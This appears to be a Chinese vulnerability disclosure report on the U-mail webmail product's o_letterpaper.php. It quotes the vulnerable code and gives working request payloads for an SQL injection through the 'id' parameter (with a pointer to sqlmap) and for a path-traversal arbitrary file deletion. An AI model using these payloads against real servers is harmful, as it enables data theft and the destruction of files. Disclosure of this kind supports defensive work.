U-mail一处SQL注入+任意文件删除

o_letterpaper.php

1.sql注入：

if ( ACTION == "letterpaper-set" )
 {
     $url = make_link( "option", "view", "letterpaper" );
     $lp_id = gss( $_POST['id'] );
     ....
     if ( $lp_id )
     {
         $lp_info = $Widget->getone_letterpaper( "id=".$lp_id, "*", 0 );

没啥好分析的，直接上exp

http://**.**.**.**/webmail/client/option/index.php?module=operate&action=letterpaper-set

POSTdata：id=1

丢sqlmap即可跑出数据：

2.任意文件删除

o_letterpaper.php

if ( $res )
 {
     if ( gss( $_POST['bgImgPath'] ) )
     {
         $imgname = $lp_id.".".fileext( $_POST['bgImgPath'] );
         if ( file_exists( ROOT."client/resource/images/letterpaper/".$imgname ) )
         {
             unlink( ROOT."client/resource/images/letterpaper/".$imgname );
         }

$res是恒存在的，所以直接看下面POST提交的bdImgPath变量，拼接imgname变量的2部分均完全可控，然后简单判断是否存在该文件，存在即删除，由此漏洞产生。

payload：

http://**.**.**.**/webmail/client/option/index.php?module=operate&action=letterpaper-set

POSTDATA：id=../../../../../robots&bgImgPath=.txt

以上payload删除的是robots.txt文件，若想删除别的文件，直接在id处构造文件名，在bdimgpath处构造后缀即可。

过滤

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-09-20 08:53

厂商回复：

最新状态：

暂无